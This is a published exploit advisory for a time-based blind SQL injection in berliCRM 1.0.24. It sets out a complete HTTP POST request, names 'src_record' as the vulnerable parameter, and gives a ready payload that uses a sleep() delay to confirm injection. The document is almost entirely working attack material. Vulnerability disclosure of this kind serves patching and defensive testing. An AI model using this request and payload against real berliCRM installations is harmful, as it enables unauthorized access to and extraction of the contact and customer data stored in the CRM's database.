berliCRM 1.0.24 SQL Injection

`# Exploit Title: berliCRM 1.0.24 - 'src_record' SQL Injection  
# Google Dork: N/A  
# Date: 2020-10-11  
# Exploit Author: Ahmet Ümit BAYRAM  
# Vendor Homepage: https://www.berlicrm.de  
# Software Link: https://github.com/berliCRM/berlicrm/archive/1.0.24.zip  
# Version: 1.0.24  
# Tested on: Kali Linux  
# CVE : N/A  
  
  
========== Post Request =========================  
  
POST /index.php HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Referer: localhost  
Cookie: PHPSESSID=bab89b6fc39e1fd2c26877a4544cbb64  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Encoding: gzip,deflate  
Content-Length: 226  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36  
Connection: Keep-alive  
  
__vtrftk=sid:ff114f440469f69f1507ebd04c65e05ba2fcc8d3%2C1602392658&module=Contacts&src_field=contact_id&src_module=Contacts&src_record=1&triggerEventName=postSelection721&view=Popup  
  
============= Vulnerable Parameter ===============  
  
src_record (POST)  
  
============= Payload ===========================  
  
0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z  
`